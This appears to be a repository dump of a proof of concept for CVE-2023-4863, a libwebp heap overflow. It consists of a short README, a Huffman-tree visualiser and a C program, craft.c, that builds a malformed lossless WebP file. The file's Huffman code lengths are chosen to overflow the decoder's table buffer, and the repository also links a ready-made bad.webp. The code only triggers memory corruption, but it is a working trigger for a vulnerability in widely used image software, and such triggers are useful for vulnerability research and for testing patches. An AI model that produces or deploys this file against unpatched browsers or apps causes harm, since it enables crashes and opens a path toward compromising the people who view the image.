├── bad.webp ├── graphviz - 40, 410 tree.png ├── graphviz - 40, 414 tree.png ├── README.md ├── print_tree.c └── craft.c /bad.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hahwul/CVE-2023-4863/main/bad.webp -------------------------------------------------------------------------------- /graphviz - 40, 410 tree.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hahwul/CVE-2023-4863/main/graphviz - 40, 410 tree.png -------------------------------------------------------------------------------- /graphviz - 40, 414 tree.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hahwul/CVE-2023-4863/main/graphviz - 40, 414 tree.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-4863/CVE-2023-41064 2 | A POC for CVE-2023-4863. NOT an exploit 3 | Shout to @benhawkes who discovered the right set of code_lengths to trigger this vulnerability! 4 | Please consult Ben's blog post for more information! 5 | https://blog.isosceles.com/the-webp-0day/ -------------------------------------------------------------------------------- /print_tree.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define MAX_ALLOWED_CODE_LENGTH 15 11 | 12 | //copy and paste output of this program into Graphvis 13 | //https://dreampuf.github.io/GraphvizOnline/ 14 | 15 | 16 | void print_tree() { 17 | int num_nodes = 1; // number of Huffman tree nodes 18 | int num_open = 1; // number of open branches in current tree level 19 | uint32_t n = 1; 20 | 21 | #if 1 22 | uint32_t count[] = {0, 1, 1, 1, 1, 1, 0, 0, 0, 11, 5, 1, 10, 4, 2, 2 }; 23 | #else 24 | uint32_t count[] = {0, 1, 1, 1, 1, 0, 1, 1, 0, 15, 5, 9, 1, 1, 1, 2}; 25 | #endif 26 | 27 | printf("digraph BST {\n"); 28 | for (int len = 1; len <= MAX_ALLOWED_CODE_LENGTH; ++len) { 29 | num_open <<= 1; 30 | num_nodes += num_open; 31 | 32 | uint32_t leaf_count = count[len]; 33 | uint32_t internal_count = num_open - leaf_count; 34 | 35 | for(uint32_t i = 0; i < num_open; i++) { 36 | uint32_t node = ((1 << (len)) - 1) + i; 37 | uint32_t parent = (node-1)/2; 38 | printf("\tn%d [label=\"%d\"]\n", node, n); 39 | 40 | if(i >= internal_count) { 41 | printf("\tn%d [shape=doublecircle]\n", node); 42 | } 43 | printf("\tn%d -> n%d [label=\"%d\"]\n", parent, node, ((i+1) % 2)); 44 | n++; 45 | } 46 | num_open -= leaf_count; 47 | } 48 | printf("}\n"); 49 | } 50 | 51 | int main(int argc, char **argv) { 52 | print_tree(); 53 | return 0; 54 | } -------------------------------------------------------------------------------- /craft.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | //CVE-2023-4863/CVE-2023-41064 11 | //author: @mistymtncop 12 | //author: @benhawkes 13 | //main insight was discovered by Ben Hawkes (@benhawkes) 14 | //he discovered the right code_lengths! 15 | 16 | //https://blog.isosceles.com/the-webp-0day/ 17 | //https://github.com/honzasp/vp8l 18 | //https://developers.google.com/speed/webp/docs/riff_container 19 | //https://fgiesen.wordpress.com/2018/02/19/reading-bits-in-far-too-many-ways-part-1/ 20 | //https://github.com/webmproject/libwebp/commit/902bc9190331343b2017211debcec8d2ab87e17a 21 | //https://commandlinefanatic.com/cgi-bin/showarticle.cgi?article=art007 22 | //https://chromium.googlesource.com/webm/libwebp/+/refs/tags/v1.2.1/doc/webp-lossless-bitstream-spec.txt 23 | //https://developers.google.com/speed/webp/gallery2 24 | //https://github.com/webmproject/libwebp/blob/main/doc/building.md 25 | //https://www.ietf.org/id/draft-zern-webp-12.html 26 | //https://guide.handmadehero.org/code/day455/ 27 | 28 | #define ARRAY_COUNT(a) (sizeof(a)/sizeof(a[0])) 29 | 30 | typedef uint64_t vp8l_atype_t; 31 | typedef uint32_t vp8l_wtype_t; 32 | #define HToLE32(x) (x) 33 | #define WSWAP HToLE32 34 | #define VP8L_WRITER_BYTES 4 // sizeof(vp8l_wtype_t) 35 | #define VP8L_WRITER_BITS 32 // 8 * sizeof(vp8l_wtype_t) 36 | #define VP8L_WRITER_MAX_BITS 64 // 8 * sizeof(vp8l_atype_t) 37 | #define MIN_EXTRA_SIZE (32768ULL) 38 | 39 | #define MAX_ALLOWED_CODE_LENGTH 15 40 | 41 | #define WebPSafeMalloc calloc //lol 42 | #define WebPSafeFree free //lol 43 | 44 | typedef struct { 45 | size_t capacity; 46 | size_t size; 47 | uint8_t *buffer; 48 | } Arena; 49 | 50 | Arena temp_arena = {0}; 51 | 52 | void init_arena(Arena *arena, uint8_t *buffer, size_t capacity) { 53 | memset(arena, 0, sizeof(*arena)); 54 | arena->capacity = capacity; 55 | arena->buffer = buffer; 56 | } 57 | 58 | void reset_arena(Arena *arena) { 59 | arena->size = 0; 60 | } 61 | 62 | void *push_size(Arena *arena, size_t size) { 63 | size_t remaining = arena->capacity - arena->size; 64 | assert(size <= remaining); 65 | uint8_t *result = &arena->buffer[arena->size]; 66 | memset(result, 0, size); 67 | arena->size += size; 68 | return result; 69 | } 70 | 71 | void *push_array_(Arena *arena, size_t count, size_t type_size) { 72 | size_t size = count * type_size; //integer overflow! 73 | void *result = push_size(arena, size); 74 | return result; 75 | } 76 | 77 | #define push_array(arena, count, type) (type*) push_array_(arena, count, sizeof(type)) 78 | 79 | 80 | 81 | typedef struct { 82 | vp8l_atype_t bits_; // bit accumulator 83 | int used_; // number of bits used in accumulator 84 | uint8_t* buf_; // start of buffer 85 | uint8_t* cur_; // current write position 86 | uint8_t* end_; // end of buffer 87 | 88 | // After all bits are written (VP8LBitWriterFinish()), the caller must observe 89 | // the state of error_. A value of 1 indicates that a memory allocation 90 | // failure has happened during bit writing. A value of 0 indicates successful 91 | // writing of bits. 92 | int error_; 93 | } VP8LBitWriter; 94 | 95 | int CheckSizeOverflow(uint64_t size) { 96 | return size == (size_t)size; 97 | } 98 | 99 | uint32_t BSwap32(uint32_t x) { 100 | return (x >> 24) | ((x >> 8) & 0xff00) | ((x << 8) & 0xff0000) | (x << 24); 101 | } 102 | 103 | 104 | static int VP8LBitWriterResize(VP8LBitWriter* bw, size_t extra_size) { 105 | uint8_t* allocated_buf; 106 | size_t allocated_size; 107 | const size_t max_bytes = bw->end_ - bw->buf_; 108 | const size_t current_size = bw->cur_ - bw->buf_; 109 | const uint64_t size_required_64b = (uint64_t)current_size + extra_size; 110 | const size_t size_required = (size_t)size_required_64b; 111 | if (size_required != size_required_64b) { 112 | bw->error_ = 1; 113 | return 0; 114 | } 115 | if (max_bytes > 0 && size_required <= max_bytes) return 1; 116 | allocated_size = (3 * max_bytes) >> 1; 117 | if (allocated_size < size_required) allocated_size = size_required; 118 | // make allocated size multiple of 1k 119 | allocated_size = (((allocated_size >> 10) + 1) << 10); 120 | allocated_buf = (uint8_t*)WebPSafeMalloc(1ULL, allocated_size); 121 | if (allocated_buf == NULL) { 122 | bw->error_ = 1; 123 | return 0; 124 | } 125 | if (current_size > 0) { 126 | memcpy(allocated_buf, bw->buf_, current_size); 127 | } 128 | WebPSafeFree(bw->buf_); 129 | bw->buf_ = allocated_buf; 130 | bw->cur_ = bw->buf_ + current_size; 131 | bw->end_ = bw->buf_ + allocated_size; 132 | return 1; 133 | } 134 | 135 | int VP8LBitWriterInit(VP8LBitWriter* bw, size_t expected_size) { 136 | memset(bw, 0, sizeof(*bw)); 137 | return VP8LBitWriterResize(bw, expected_size); 138 | } 139 | 140 | void VP8LPutBitsFlushBits(VP8LBitWriter* bw) { 141 | // If needed, make some room by flushing some bits out. 142 | if (bw->cur_ + VP8L_WRITER_BYTES > bw->end_) { 143 | const uint64_t extra_size = (bw->end_ - bw->buf_) + MIN_EXTRA_SIZE; 144 | if (!CheckSizeOverflow(extra_size) || 145 | !VP8LBitWriterResize(bw, (size_t)extra_size)) { 146 | bw->cur_ = bw->buf_; 147 | bw->error_ = 1; 148 | return; 149 | } 150 | } 151 | *(vp8l_wtype_t*)bw->cur_ = (vp8l_wtype_t)WSWAP((vp8l_wtype_t)bw->bits_); 152 | bw->cur_ += VP8L_WRITER_BYTES; 153 | bw->bits_ >>= VP8L_WRITER_BITS; 154 | bw->used_ -= VP8L_WRITER_BITS; 155 | } 156 | 157 | void VP8LPutBits(VP8LBitWriter* bw, uint32_t bits, int n_bits) { 158 | if (n_bits > 0) { 159 | if (bw->used_ >= 32) { 160 | VP8LPutBitsFlushBits(bw); 161 | } 162 | bw->bits_ |= (vp8l_atype_t)bits << bw->used_; 163 | bw->used_ += n_bits; 164 | } 165 | } 166 | 167 | uint8_t* VP8LBitWriterFinish(VP8LBitWriter* bw) { 168 | // flush leftover bits 169 | if (VP8LBitWriterResize(bw, (bw->used_ + 7) >> 3)) { 170 | while (bw->used_ > 0) { 171 | *bw->cur_++ = (uint8_t)bw->bits_; 172 | bw->bits_ >>= 8; 173 | bw->used_ -= 8; 174 | } 175 | bw->used_ = 0; 176 | } 177 | return bw->buf_; 178 | } 179 | 180 | size_t VP8LBitWriterNumBytes(VP8LBitWriter* bw) { 181 | return (bw->cur_ - bw->buf_) + ((bw->used_ + 7) >> 3); 182 | } 183 | 184 | #pragma pack(push, 1) 185 | 186 | typedef struct { 187 | uint8_t riff_magic[4]; 188 | uint32_t size_plus_hdr_size; 189 | uint8_t webp_magic[4]; 190 | uint8_t vp8l_magic[4]; 191 | uint32_t size; 192 | } RiffHeader; 193 | #pragma pack(pop) 194 | 195 | RiffHeader make_riff_header(size_t size) { 196 | RiffHeader result = {0}; 197 | result.size_plus_hdr_size = size + 12; 198 | result.size = size; 199 | 200 | memcpy(&result.riff_magic, "RIFF", 4); 201 | memcpy(&result.webp_magic, "WEBP", 4); 202 | memcpy(&result.vp8l_magic, "VP8L", 4); 203 | 204 | return result; 205 | } 206 | 207 | 208 | void write_header(VP8LBitWriter* bw, int width, int height, bool has_alpha) { 209 | VP8LPutBits(bw, 0x2f, 8); // signature 210 | VP8LPutBits(bw, width - 1, 14); 211 | VP8LPutBits(bw, height - 1, 14); 212 | VP8LPutBits(bw, has_alpha ? 1 : 0, 1); 213 | VP8LPutBits(bw, 0, 3); // version 0 214 | } 215 | 216 | static const uint8_t kReversedBits[16] = { 217 | 0x0, 0x8, 0x4, 0xc, 0x2, 0xa, 0x6, 0xe, 218 | 0x1, 0x9, 0x5, 0xd, 0x3, 0xb, 0x7, 0xf 219 | }; 220 | 221 | static uint32_t ReverseBits(int num_bits, uint32_t bits) { 222 | uint32_t retval = 0; 223 | int i = 0; 224 | while (i < num_bits) { 225 | i += 4; 226 | retval |= kReversedBits[bits & 0xf] << (MAX_ALLOWED_CODE_LENGTH + 1 - i); 227 | bits >>= 4; 228 | } 229 | retval >>= (MAX_ALLOWED_CODE_LENGTH + 1 - num_bits); 230 | return retval; 231 | } 232 | 233 | static void ConvertBitDepthsToSymbols(uint32_t* code_lengths, int len, uint32_t *codes) { 234 | // 0 bit-depth means that the symbol does not exist. 235 | uint32_t next_code[MAX_ALLOWED_CODE_LENGTH + 1] = {0}; 236 | int depth_count[MAX_ALLOWED_CODE_LENGTH + 1] = {0}; 237 | 238 | for (int i = 0; i < len; ++i) { 239 | const int code_length = code_lengths[i]; 240 | assert(code_length <= MAX_ALLOWED_CODE_LENGTH); 241 | ++depth_count[code_length]; 242 | } 243 | depth_count[0] = 0; // ignore unused symbol 244 | next_code[0] = 0; 245 | { 246 | uint32_t code = 0; 247 | for (int i = 1; i <= MAX_ALLOWED_CODE_LENGTH; ++i) { 248 | code = (code + depth_count[i - 1]) << 1; 249 | next_code[i] = code; 250 | } 251 | } 252 | for (int i = 0; i < len; ++i) { 253 | const int code_length = code_lengths[i]; 254 | codes[i] = ReverseBits(code_length, next_code[code_length]++); 255 | } 256 | } 257 | 258 | 259 | //In-place calculation of minimum-redundancy codes. (Alistair Moffat and Jyrki Katajainen) 260 | //doi:10.1007/3-540-60220-8_79 261 | //https://github.com/madler/brotli/blob/master/huff.c (credit to Mark Adler) 262 | void calculate_code_lengths(uint32_t* histogram, uint32_t count) { 263 | //assert(count > 2); 264 | uint32_t *arr = histogram; 265 | if (count == 0) { 266 | return; 267 | } 268 | if (count == 1) { 269 | arr[0] = 0; 270 | return; 271 | } 272 | 273 | // first pass, left to right, setting parent pointers 274 | arr[0] += arr[1]; 275 | uint32_t root = 0; // next root node to be used 276 | uint32_t leaf = 2; // next leaf to be used 277 | uint32_t next = 1; // next value to be assigned 278 | for(; next < count - 1; next++) { 279 | // select first item for a pairing 280 | if (leaf >= count || (/*root < next &&*/ arr[root] < arr[leaf])) { 281 | arr[next] = arr[root]; 282 | arr[root++] = next; 283 | } else { 284 | arr[next] = arr[leaf++]; 285 | } 286 | // add on the second item 287 | if (leaf >= count || (root < next && arr[root] < arr[leaf])) { 288 | arr[next] += arr[root]; 289 | arr[root++] = next; 290 | } else { 291 | arr[next] += arr[leaf++]; 292 | } 293 | } 294 | { 295 | arr[count-2] = 0; 296 | for(uint32_t next = count-2; next != 0; next--) { 297 | arr[next-1] = arr[arr[next-1]] + 1; 298 | } 299 | 300 | uint32_t available = 1; 301 | 302 | uint32_t depth = 0; 303 | uint32_t root = count-1; 304 | uint32_t next = count-1; 305 | while(available != 0) { 306 | uint32_t used = 0; 307 | while(root != 0 && arr[root-1] == depth) { 308 | used += 1; 309 | root -= 1; 310 | } 311 | while(available > used) { 312 | arr[next] = depth; 313 | next -= 1; 314 | available -= 1; 315 | } 316 | available = 2*used; 317 | depth += 1; 318 | } 319 | } 320 | } 321 | 322 | 323 | typedef struct { 324 | uint32_t count; 325 | uint32_t index; 326 | } HistUnit; 327 | 328 | typedef struct { 329 | HistUnit *hist; 330 | uint32_t symbol_count; 331 | } Histogram; 332 | 333 | 334 | int compare(const void *a, const void *b) { 335 | HistUnit* h_a = (HistUnit*)a; 336 | HistUnit* h_b = (HistUnit*)b; 337 | 338 | return h_a->count - h_b->count; 339 | } 340 | 341 | #define CODE_LENGTH_CODES 19 342 | 343 | typedef struct { 344 | uint32_t *code_lengths; 345 | uint32_t *codes; 346 | uint32_t symbol_count; 347 | } HuffmanTable; 348 | 349 | HuffmanTable make_huffman_table(Arena *arena, uint32_t symbol_count) { 350 | HuffmanTable result = {0}; 351 | result.symbol_count = symbol_count; 352 | result.code_lengths = push_array(arena, symbol_count, uint32_t); 353 | result.codes = push_array(arena, symbol_count, uint32_t); 354 | 355 | return result; 356 | } 357 | 358 | Histogram calc_histogram_u8(Arena *arena, uint32_t symbol_count, uint8_t* input, size_t size) { 359 | Histogram result = {0}; 360 | result.symbol_count = symbol_count; 361 | 362 | result.hist = push_array(arena, result.symbol_count, HistUnit); 363 | 364 | for(uint32_t i = 0; i < result.symbol_count; i++) { 365 | result.hist[i].index = i; 366 | } 367 | for(int i = 0; i < size; i++) { 368 | uint8_t val = input[i]; 369 | result.hist[val].count += 1; 370 | } 371 | return result; 372 | } 373 | 374 | Histogram calc_histogram_u32(Arena *arena, uint32_t symbol_count, uint32_t* input, size_t count) { 375 | Histogram result = {0}; 376 | result.symbol_count = symbol_count; 377 | 378 | result.hist = push_array(arena, result.symbol_count, HistUnit); 379 | 380 | for(uint32_t i = 0; i < result.symbol_count; i++) { 381 | result.hist[i].index = i; 382 | } 383 | for(int i = 0; i < count; i++) { 384 | uint32_t val = input[i]; 385 | assert(val < result.symbol_count); 386 | result.hist[val].count += 1; 387 | } 388 | return result; 389 | } 390 | 391 | HuffmanTable build_huffman_table(Arena *arena, Histogram *histogram) { 392 | HuffmanTable result = make_huffman_table(arena, histogram->symbol_count); 393 | 394 | HistUnit *hist = histogram->hist; 395 | qsort(hist, histogram->symbol_count, sizeof(hist[0]), compare); 396 | 397 | uint32_t *freqs = push_array(arena, histogram->symbol_count, uint32_t); 398 | uint32_t zero_count = 0; 399 | for(uint32_t i = 0; i < histogram->symbol_count; i++) { 400 | if(hist[i].count != 0) 401 | break; 402 | zero_count++; 403 | } 404 | uint32_t freq_count = histogram->symbol_count - zero_count; 405 | 406 | for(uint32_t i = zero_count; i < histogram->symbol_count; i++) { 407 | uint32_t freq = hist[i].count; 408 | freqs[i++] = freq; 409 | } 410 | calculate_code_lengths(&freqs[zero_count], freq_count); 411 | 412 | uint32_t *bit_depths_sorted = freqs; 413 | 414 | for(uint32_t i = 0; i < histogram->symbol_count; i++) { 415 | uint32_t sorted_i = hist[i].index; 416 | result.code_lengths[sorted_i] = bit_depths_sorted[i]; 417 | } 418 | ConvertBitDepthsToSymbols(result.code_lengths, histogram->symbol_count, result.codes); 419 | 420 | return result; 421 | } 422 | 423 | 424 | void write_symbol(HuffmanTable *table, VP8LBitWriter* bw, uint8_t sym) { 425 | assert(sym < table->symbol_count); 426 | VP8LPutBits(bw, table->codes[sym], table->code_lengths[sym]); 427 | } 428 | 429 | void write_code_lengths(Arena *arena, VP8LBitWriter* bw, uint32_t* code_lengths, size_t symbol_count) { 430 | Histogram code_lengths_hist = calc_histogram_u32( 431 | arena, symbol_count, code_lengths, symbol_count); 432 | HuffmanTable table = build_huffman_table(arena, &code_lengths_hist); 433 | 434 | assert(CODE_LENGTH_CODES <= table.symbol_count); 435 | static const uint8_t kStorageOrder[CODE_LENGTH_CODES] = { 436 | 17, 18, 0, 1, 2, 3, 4, 5, 16, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 437 | }; 438 | int codes_to_store = CODE_LENGTH_CODES; 439 | for (; codes_to_store > 4; --codes_to_store) { 440 | if (table.code_lengths[kStorageOrder[codes_to_store - 1]] != 0) { 441 | break; 442 | } 443 | } 444 | 445 | //ReadHuffmanCode 446 | //-------------------------- 447 | VP8LPutBits(bw, 0, 1); //simple_code 448 | 449 | //code_length_code_lengths 450 | VP8LPutBits(bw, codes_to_store - 4, 4); 451 | for(int i = 0; i < codes_to_store; i++) { 452 | VP8LPutBits(bw, table.code_lengths[kStorageOrder[i]], 3); 453 | } 454 | 455 | //ReadHuffmanCodeLengths 456 | //--------------------------- 457 | VP8LPutBits(bw, 0, 1); //use length 458 | 459 | //write code lengths 460 | for(int i = 0; i < symbol_count; i++) { 461 | uint32_t code_length = code_lengths[i]; 462 | write_symbol(&table, bw, code_length); 463 | } 464 | } 465 | 466 | 467 | void craft_webp(char *filename) { 468 | VP8LBitWriter bw_ = {0}; 469 | VP8LBitWriter* bw = &bw_; 470 | VP8LBitWriterInit(bw, 0x1000); 471 | 472 | write_header(bw, 1, 1, false); 473 | 474 | //DecodeImageStream 475 | //----------------------- 476 | VP8LPutBits(bw, 0, 1); // ReadTransform 477 | VP8LPutBits(bw, 0, 1); // Color cache 478 | 479 | //ReadHuffmanCodes 480 | //----------------------- 481 | VP8LPutBits(bw, 0, 1); // if (allow_recursion && VP8LReadBits(br, 1)) 482 | 483 | 484 | //size of huffman_tables buffer = 654 + 630 + 630 + 630 + 410 = 2954 485 | //to overflow we just exceed this number! 486 | 487 | #define HUFFMAN_CODES_PER_META_CODE 5 488 | static uint32_t code_lengths_counts[HUFFMAN_CODES_PER_META_CODE][MAX_ALLOWED_CODE_LENGTH + 1] = { 489 | // 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 490 | {0, 1, 1, 0, 0, 0, 0, 0, 0, 3, 229, 41, 1, 1, 1, 2}, //size = 654 491 | {0, 1, 1, 0, 0, 0, 0, 0, 0, 7, 241, 1, 1, 1, 1, 2}, //size = 630 492 | {0, 1, 1, 0, 0, 0, 0, 0, 0, 7, 241, 1, 1, 1, 1, 2}, //size = 630 493 | {0, 1, 1, 0, 0, 0, 0, 0, 0, 7, 241, 1, 1, 1, 1, 2}, //size = 630 494 | {0, 1, 1, 1, 1, 1, 0, 0, 0, 11, 5, 1, 10, 4, 2, 2}, //size = 414!!! 495 | //{0, 1, 1, 1, 1, 0, 1, 1, 0, 15, 5, 9, 1, 1, 1, 2}, //size = 410 496 | }; 497 | 498 | 499 | static uint32_t kAlphabetSize[HUFFMAN_CODES_PER_META_CODE] = {280, 256, 256, 256, 40}; 500 | 501 | for(int i = 0; i < HUFFMAN_CODES_PER_META_CODE; i++) { 502 | reset_arena(&temp_arena); 503 | uint32_t alphabet_size = kAlphabetSize[i]; 504 | uint32_t *code_lengths = push_array(&temp_arena, alphabet_size, uint32_t); 505 | uint32_t write = 0; 506 | uint32_t total = 0; 507 | for(int len = 0; len <= MAX_ALLOWED_CODE_LENGTH; len++) { 508 | int repeat_count = code_lengths_counts[i][len]; 509 | for(int r = 0; r < repeat_count; r++) { 510 | code_lengths[write++] = len; 511 | } 512 | total += repeat_count; 513 | } 514 | assert(write <= alphabet_size); 515 | write_code_lengths(&temp_arena, bw, code_lengths, alphabet_size); 516 | } 517 | 518 | VP8LBitWriterFinish(bw); 519 | 520 | 521 | size_t webpll_size = VP8LBitWriterNumBytes(bw); 522 | RiffHeader riff_hdr = make_riff_header(webpll_size); 523 | 524 | FILE *file_out = fopen(filename, "wb"); 525 | fwrite(&riff_hdr, sizeof(riff_hdr), 1, file_out); 526 | fwrite(bw->buf_, webpll_size, 1, file_out); 527 | fclose(file_out); 528 | } 529 | 530 | int main(int argc, char **argv) { 531 | char *filename = 0; 532 | if(argc == 2) { 533 | filename = argv[1]; 534 | } else { 535 | printf("USAGE: craft bad.webp"); 536 | return 0; 537 | } 538 | 539 | size_t temp_buffer_size = 0x10000; 540 | uint8_t* temp_buffer = malloc(temp_buffer_size); 541 | 542 | init_arena(&temp_arena, temp_buffer, temp_buffer_size); 543 | 544 | craft_webp(filename); 545 | 546 | return 0; 547 | } --------------------------------------------------------------------------------